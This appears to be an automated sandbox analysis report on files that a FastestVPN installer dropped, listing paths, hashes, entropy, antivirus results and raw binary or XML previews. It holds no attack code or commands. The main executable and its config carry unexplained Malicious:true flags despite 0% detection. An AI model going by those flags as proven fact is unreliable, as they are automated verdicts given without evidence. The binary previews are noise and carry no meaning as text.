                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll.config (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1192
                                                                                                                    Entropy (8bit):5.059106104983516
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:JduPF7NV+TkH2/17zVVXBOH2/17zVQ7uH2/XVUrPH2/+C9y:327Gwg1BOg1SagXSg+Cw
                                                                                                                    MD5:66373624F8B60F41B8FEC0E61779C0AC
                                                                                                                    SHA1:0D3BE3C009F0A2260F89C3FBC9FFEBA0061C17F2
                                                                                                                    SHA-256:FE0A5830D875B8BD0864BF4F85705D4F2E3D7A575C07B2B5A18041558DBA1386
                                                                                                                    SHA-512:74F084B2697F936122E371042FEF5740BF205914B3FA276F8F7C72561680BF2C39A7DD2970BDEDF36AACC20970CD9552A719211F30090881E498815D91C6CDD0
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.core" publicKeyToken="1488e028ca7ab535" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.1.6.2060" newVersion="2.1.6.2060" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.batteries_v2" publicKeyToken="8226ea5df37bcae9" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.1.6.2060" newVersion="2.1.6.2060" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Memory" publicKeyToken="cc7b13ffc

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):124072
                                                                                                                    Entropy (8bit):6.169344446608534
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:LurAkSCDvkOtt+niUnQY8/LFEMnK8VQW5K/7:LJkSCDv+iUnQXLFEEM/7
                                                                                                                    MD5:2DC3102392DAEF9B935CDF4939A9B132
                                                                                                                    SHA1:F56261CE19BFC14F8317C2AA05F010E9ACFBCE02
                                                                                                                    SHA-256:B6D9088505C220F23132D78675004BC31E0FB5C04257357C2B02072EF8C28DAD
                                                                                                                    SHA-512:596AFAA1347CF730D2D0312857366EE3AD4C5C439E2F93BD6D38B29129C7B3530523B206FAEEF1DB3F6D9A18482162FF56321C9F1A1FA4F296F6B29AE8659321
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q............" ..0.................. ........... ....................... ......Q.....`.....................................O........................*..............8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......d................................................................0...........s....%r...pr...po....%rk..pru..po....%r...pr...po....}......(....(...+o.....(...+o.......o....r!..p.o....(....}......o....}......o....}......o....}.....(....r%..p( ...-..(....re..p( ...,...}....*..}....*..{....*..{....*..{....*..{....*..{....*J.......s!...s:...*.~....%-.&~..........s!...%.....s:...*J.......s"...s#...*J.......s!...s:...*..0..........(...+o$.....E........9...^...*.r...pr...pr..

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll.config (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):432
                                                                                                                    Entropy (8bit):5.0141792226861375
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                    MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                    SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                    SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                    SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):2059432
                                                                                                                    Entropy (8bit):7.651137710710665
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24576:+3zNmj7tPN/PPINv2lYnvqfI1L3ciKKqjnTVlKJ+hgyiTebWmDXQHMkgXvYOdSYB:84vtPNvCv2Qqfobuvq+hqCTDgHMT
                                                                                                                    MD5:01CF6EF766C41BB2C99A2CCCDECC69C1
                                                                                                                    SHA1:8DD5EB983C1C8F2E3A2538E50295644BB778A69E
                                                                                                                    SHA-256:9A9B95CA40D32FA23A615A122FA3AAF7AEB32FBEF2850D729F77C1169FFC0452
                                                                                                                    SHA-512:9EE4D4D7852555F67CF0C9B372DCA87EC0727AB0A6FC5EAE309CF6BF5467FC75C6868A5E528D34AB605CDC736D30684D35A1451D4ABE3B99BA37D276474AC940
                                                                                                                    Malicious:true
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....G............"...0......D........... ... ....@.. ...............................P ...`.................................^...O.... ...A...........B...*..............8............................................ ............... ..H............text........ ...................... ..`.rsrc....A... ...B..................@..@.reloc...............@..............@..B........................H.......DD..T`......-....... v...........................................0..O.......s....%.o....%.o ...%.o!...%..o".....o#........($........(%..._,...o&...(....*.*..(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*...(.......(....(.......(....(.......(....(.....*.0..5........('...-..*.((.....o)...(*...(+...(,.......,..o-.....*............)........(....*2.(/...o0...*..(1...*.(2...*2.(....o3...*..(....o4...&.(.....o5....(.....o5....(....o6...&*2.(....o7

                                                                                                                    C:\Program Files\FastestVPN\FastestVPN.exe.config (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1112
                                                                                                                    Entropy (8bit):5.030466366630491
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:JdArztW1oF7Nv+IcvH2/+GVTcvH2/+GVhOXrRH2/d9y:3Arzcq7h+Iag+GMg+G27Rgdw
                                                                                                                    MD5:B94AE93769D64791440B3C36CC82AC69
                                                                                                                    SHA1:E4AAAD9A0FB51051C8B25F768BC1563543F132C0
                                                                                                                    SHA-256:432BFD182828A531147812566CB3439702A243BB7A4C45CC816192F9CB91D4A5
                                                                                                                    SHA-512:AD978C59980C0194357D5070D53EA77C334493D14593C141B9DBEEF835FC688FD90C99236D687F50860FA7F4FD4125650E432A61EDF7917C77E4EE4E5E3D4E66
                                                                                                                    Malicious:true
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup> .. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />.. </startup>.. <runtime>.. <legacyCorruptedStateExceptionsPolicy enabled="true" />.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Expression.Interactions" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.5.0.0" newVersion="4.5.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Windows.Interactivity" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.5.0.0" newVersion="4.5.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0

                                                                                                                    C:\Program Files\FastestVPN\Flurl.Http.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):117928
                                                                                                                    Entropy (8bit):6.160360774488817
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:Hzne5lbC/VlCG2OWMMdWWbWbWw+Hfz+8lKbchOD07PQCFP1IYmDe/WAbBuhEK/a:HFO4WMMdWWbWbWw+Hfz+8lKbchOD07PP
                                                                                                                    MD5:FDFDFE021B53B630939D27C6C90CB435
                                                                                                                    SHA1:AA0987A6EA6987BB9930B9167EC31C249EF9D885
                                                                                                                    SHA-256:D753A7EF62BABC2ADB5D1DBEB0BEBAA2B042CC01CC219726F32F761BBB0A711D
                                                                                                                    SHA-512:1FD0C74D0ED3AC4DF26D3E95C0F133E8024D77D1FD06E0C76C630D6AAC7B81124AA1DCA7CFFAC43BC34252A057414F8C3F8EC63A805323B1EF892B5F6A277D3B
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....8............" ..0................. ........... ..............................U.....`.................................w...O........................*..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.........................................................................{ ...*..{!...*V.(".....} .....}!...*...0..A........u........4.,/(#....{ ....{ ...o$...,.(%....{!....{!...o&...*.*.*. '.(k )UU.Z(#....{ ...o'...X )UU.Z(%....{!...o(...X*...0..b........r...p......%..{ ......%q.........-.&.+.......o)....%..{!......%q.........-.&.+.......o)....(*...*>..su...%.}^...*...0...........(+...,..*...(....o.....8t....o......-2.{,....{-.....g...%..".o.....(/...s0...sk....88....{,...r

                                                                                                                    C:\Program Files\FastestVPN\Flurl.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):49320
                                                                                                                    Entropy (8bit):6.325351798150663
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:Qmbo2ICFobV6wsLIcUIh/61jCouvi1Ys7ZYiG6K/Y/+Z:QmbrbU6ws0cGjCoei1Ys7Z7G6K/P
                                                                                                                    MD5:C22900453EF4B917460ADEA7DE87225B
                                                                                                                    SHA1:6878237656DA68C046FB95FAA8CAF3B4C719851B
                                                                                                                    SHA-256:9AF8C8105093B7D62FC578DAE3497FF0AD796C9ABD638EB14269DED4270DFF96
                                                                                                                    SHA-512:2E7D0EB99E2924FB375AAF8891968228193C65C133E362F66567C044E8B744ABC3A992EF7606644690D1BB81AD13A64A35D8107BDBDD9D5942BEA1DD1074EA3C
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ........... ....................................`.................................p...O.......,................*..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...,...........................@..@.reloc..............................@..B........................H........L...\............................................................{"...*..{#...*V.($.....}".....}#...*...0..A........u........4.,/(%....{"....{"...o&...,.('....{#....{#...o(...*.*.*. ?Y.. )UU.Z(%....{"...o)...X )UU.Z('....{#...o*...X*...0..b........r...p......%..{"......%q.........-.&.+.......o+....%..{#......%q.........-.&.+.......o+....(,...*..{-...*..{....*V.($.....}-.....}....*.0..A........u........4.,/(%....{-....{-...o&...,.('....{.....{....o(...*.*.*. (... )UU.

                                                                                                                    C:\Program Files\FastestVPN\Hardcodet.NotifyIcon.Wpf.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):108200
                                                                                                                    Entropy (8bit):7.332504567097915
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:Gn5VJM3T5szyxa9PuIKb8wmtyYVzH0cfNbQSi/GoP4YNjZ34A7GZK/ZIVQ:GWsEa9GIdyAUKWeYNl34AwK/ZV
                                                                                                                    MD5:261A5044C94F318DEEA20D178ED9F36E
                                                                                                                    SHA1:2A9704F70A543EE219481A3AA756A0CF151E1999
                                                                                                                    SHA-256:D17E9B0C62C224D1BA56E7206D8A44FE382FE99752C511BA211A7725D83FEF43
                                                                                                                    SHA-512:E53C320DBF6B2AAEEC01FE5AFF1FAD5A8D75B2483A78BA0E1B510F2A7A8C5C510ACD603541734F4A002748D0781FC11AFBF6967EBCDB41A6FC9A29C828ABC2A3
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l.g..........." ..0..p.............. ........... ....................................`.....................................O....................|...*..............p............................................ ............... ..H............text....n... ...p.................. ..`.rsrc................r..............@..@.reloc...............z..............@..B........................H........O..|w..................,.......................................V!.)1......s.........*...0..$........u......,...o....*.u......,...o....*.0..&........u......,....o ...*.u......,....o!...*...0..&........u......,....o"...*.u......,....o#...*B.(Y...-.(....*.*..{!...*"..}!...*>.{....o.......*.0..9........(*.....($.....(......,..o%...-..,..o&...-..,..o%...*.*.*....0...........s'...}.....((....(....-..s....+.(....}......{....o....(....}.....(!....{...........s)...o.....{....

                                                                                                                    C:\Program Files\FastestVPN\Microsoft.AppCenter.Analytics.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25976
                                                                                                                    Entropy (8bit):6.331152456306087
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:Z90ljCvGQJ+GlfmER/asDZ0WN1L4meT6pmOW2ZZWeQMWMLHRN7S37EHR9zCt+:Z9EIGk+GlfmERxcFz2ZSCL+7Ex9zS+
                                                                                                                    MD5:3C5DFBB4E3F1AD153EB2E203B56EA0AE
                                                                                                                    SHA1:59623BF1D67D87264C165E421F12426DA998AF46
                                                                                                                    SHA-256:9E8252429D0E6529B87A2C79A13119F4DF56ABE924949F3750B024C51D747378
                                                                                                                    SHA-512:94DF20E98A2E5D7AC93B63EFEBCE4DAAFBF25AB6B4A2B76AF0BB46D9EDE102AC8C8E1147D5813CDB879AADD5A8AA4073FD0E6066286AF4EF4D368FAB983BE3B5
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....w............" ..0..4...........S... ...`....... ....................................`..................................S..O....`...............>..x'..........XR..T............................................ ............... ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............<..............@..B.................S......H.......l,..l%...................Q........................................(....*.0..H.........~....,...~....*~..........(......~....%-.&s....%...........,..(......*........#<.......0..%.......~..........(...............,..(.....*....................0..........~..........(....(....o....(...+....,..(......*...........".......0..0.......~..........(....(.....o.....(...+....,..(......*.........$.......0..).......~..........(....(......o.......,..(.....*....................0..b...

                                                                                                                    C:\Program Files\FastestVPN\Microsoft.AppCenter.Crashes.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):53624
                                                                                                                    Entropy (8bit):6.18841715621451
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:mLtojuUUUbf/l0lwELEEEqi8g15qTLT5HGoV0weeezxSoL3G7Yl9zndG:mE17Iw8/i8gM5maee8SoL13zdG
                                                                                                                    MD5:B7ABAF6A90E95E585E71C0C22D90AF73
                                                                                                                    SHA1:C9756883D1738A9931D0BF58D6F69CBB8DFD5870
                                                                                                                    SHA-256:3BA247FDCC6953B5CC672A361983B7B0AF3051A83128970BCEBAB22036D1E859
                                                                                                                    SHA-512:3A67EF230A06FAE3095926EAD9AAF329009BC0F2ED6AA1E6683C426ADA29DDD9CB77EC3BE134DFC4CD10A1F675D518FB4986363C4FE649D4247770B96DBC7A56
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....#2..........." ..0.................. ........... ...............................0....`.....................................O.......................x'..........t...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........E...w..........................................................&...(....*2.r...p(....*V.(......}......}....*..{....*..{....*..{....*..(......}......}......}.......}.......}....*..{....*..{....*..{....*..{....*..{....*...0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...

                                                                                                                    C:\Program Files\FastestVPN\Microsoft.AppCenter.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):147848
                                                                                                                    Entropy (8bit):6.032707503792338
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:yiq8kuub1o2/5pds7tUMZNFxtPwVrHlGZ6U1SiWUwBpXtNpTE1MNniv:WFwzFQ9FGZ1SityhtNpTECU
                                                                                                                    MD5:B6DB385295FA78A6AABCF217FD3C3F83
                                                                                                                    SHA1:71E2A93223A6B8204EED6B9834284C0FA1D7EBD0
                                                                                                                    SHA-256:ABF40F07643E6D29D0817021991F9D27410B7DCAEF80980D849634ACEF255BDC
                                                                                                                    SHA-512:122FDB77C0AC6A7A2ECF5519BB059097EF119390E6D3C34F9FAB303D60279EE8649175617E3B6FC2A3D118B422CE8BC1BFFC208332D0A9F012271325AC0A0EE7
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....@..........." ..0..............1... ...@....... ..............................0b....`.................................71..O....@...................'...`.......0..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................k1......H.......8...d].................../.......................................0..s........r...p(......(....,.r...psK...z.rW..po....-.r[..pro..p(X....*s.....~.....o....o......+8..o....t.........o.....o ...o!.....o.....o ...o!...o".....o#...-.....u........,...o$.....r...po%...,.r[..pr...p(X....*.rS..po%...,.r[..prg..p(X....*~&....~&......o%...,.....o'...&..o%...,.....o'...&.(....,..(....,.r...p.r...p((...sK...z.(....-&.(....-.r...p.r%..p((.....r)..p.((.....*.......U.E........(....*.

                                                                                                                    C:\Program Files\FastestVPN\Microsoft.AspNet.SignalR.Client.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):149896
                                                                                                                    Entropy (8bit):6.136390335470081
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:PcRKLBm0ELV6Ra+eKBL24YzRk2XDuzEdnp+4WSspmfxPapkwN5RGV5xz/OEYW58R:qI0KRHeKBszRk2aApjsp7pBtZGh9
                                                                                                                    MD5:70B1C15FDBBFB88F91965DC7BBC5527F
                                                                                                                    SHA1:A473571DAC42819933CD7EF0C604F1EA0614D2F3
                                                                                                                    SHA-256:109878A7A6F6BD13637B7E3A2EBC22D37423716ECD4E954CC09BACB84B92F62B
                                                                                                                    SHA-512:C496EE2DDF6C401E9E48FB6D739C44200EBFE36B516E7608CECB3E32FEB620CE1531CC5DE26B1A4CD033C65FD002D6B6315B746CFB8B4D047A2954F6F33CA0A4
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5A............" ..0..............;... ...@....... ..............................Ri....`.................................N;..O....@...............&...#...`......X:..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................;......H.......h....Y..........H'.......9........................................(...+*.~....*.~....*.~....*..%-.&(....*..%-.&~ ...*....0..........(!......o"......(7.......*...................0..........(!......o...+...(...+....*....................~$...%-.&~%.....&...s'...%.$....(...+*.0..D.............,:......o(.....,......o(....3.........o)....(....+.....(...+.*.0..9.......s*......}+.....},.....}-................s/... ....(B...&*....0..$........,...r...p......%.....o~......o0...*

                                                                                                                    C:\Program Files\FastestVPN\Microsoft.Bcl.AsyncInterfaces.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):26752
                                                                                                                    Entropy (8bit):6.512503595653532
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:DulwnBhYlTVv2wK5idcgF4of1n6K9zUYJ:ywHYFtKYdcg/f1nXzUYJ
                                                                                                                    MD5:970B6E6478AE3AB699F277D77DE0CD19
                                                                                                                    SHA1:5475CB28998D419B4714343FFA9511FF46322AC2
                                                                                                                    SHA-256:5DC372A10F345B1F00EC6A8FA1A2CE569F7E5D63E4F1F8631BE367E46BFA34F4
                                                                                                                    SHA-512:F3AD2088C5D3FCB770C6D8212650EED95507E107A34F9468CA9DB99DEFD8838443A95E0B59A5A6CB65A18EBBC529110C5348513A321B44223F537096C6D7D6E0
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$:............" ..0..4...........S... ...`....... ....................................`..................................S..O....`...............@...(...........R..T............................................ ............... ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............>..............@..B.................S......H........'..P*..................,R........................................(....*..(....*^.(.......1...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....*..(....*..(....*..(....*..(....*:.(......}....*..{....*:.(......}....*..{....*:.(......}....*..{....*..(....*:.(......}....*..{....*^.(.......2...%...}....*:.(......}....*..{....*z.(......}.......2...%...}....*V.(......}......}....*..{....*..{....*:.(......}....*..{....*..{....*"..}....*..{....*"..}....*..{

                                                                                                                    C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.Abstractions.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):48256
                                                                                                                    Entropy (8bit):6.234996524588368
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:AMWC5N7mKWPKz4VJ4e0jeuTGlBh0JzqPPxofk3l9z2I:Y67hCfV8j3TGlB+JsafkHzP
                                                                                                                    MD5:37EB7CCE6E282D3572D64C880E1AC3C8
                                                                                                                    SHA1:9A2952589A19D650932E7C633577EB9AFC04F959
                                                                                                                    SHA-256:039155F155C5D14F5B73F4EE2CD1FBD9290F391B88A1D2A0BA815569205EDB74
                                                                                                                    SHA-512:E3C2EF1CC52E3AA5BD77B74DEC93A4FC9E908DF823426F13CA304265D41605DE51970CC8C7E18C2E76319D3225707B2EA2D8613402A25C4FBD3951E70FCFD521
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....v..........." ..0.................. ........... ....................................`.....................................O........................(..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........=..da..........0.................................................(....*..(....*^.(.......>...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....**.-..(....*..s....z.~....*...0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..( ...*.(....,.r...p......%...%...%...(....*...(!...*.(....,!r...p......%...%...%...%...(....*....("...*..,&(....,..r...pr...p.(....(#...*..($...*.*.(.

                                                                                                                    C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):88192
                                                                                                                    Entropy (8bit):6.25584016939133
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:0kUuBN7CjSkp9oa++t1BVryVKXDORdDeCNia6Lj4Fu/qSGnJdo0Wzs:ju/t/VryVKXeDezVLj4F/JdWQ
                                                                                                                    MD5:4186A905DC180A0CC2110403727BD792
                                                                                                                    SHA1:E0563D20CA7E95688A60F4BFC1AB0127EAE1F651
                                                                                                                    SHA-256:40DCB80A87A762745D0A15294B5CA7783A9EAD1D93AD352D25B5EDAF4994651E
                                                                                                                    SHA-512:1C3459232B41C531F01BCCE54E46799F2FB3FCD6C87D7F908C633ABCC718D9726D98E65F964B1A870D416A38F545971779054FE65F7C1299905FC7DC24FA2DEC
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&..........>E... ...`....... ....................................`..................................D..O....`...............0...(...........C..T............................................ ............... ..H............text...D%... ...&.................. ..`.rsrc........`.......(..............@..@.reloc..............................@..B.................E......H........l..@...........02..0...`C........................................(....*..(....*^.(.......k...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....*.~....*..0..........(....,..*..(.....o ......&...*...................0...........(.......(!...-..,..*.*.(....,.r...p......%...%...("...*..(#...*.(....,.r...p......%...%...%...("...*...($...*.(....,!r...p......%...%...%...%...("...*....(%...*..,&(....,..r...pr...p.("...(&...*..('...*.*.(....,.r...p......%...

                                                                                                                    C:\Program Files\FastestVPN\Newtonsoft.Json.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):711952
                                                                                                                    Entropy (8bit):5.967185619483575
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
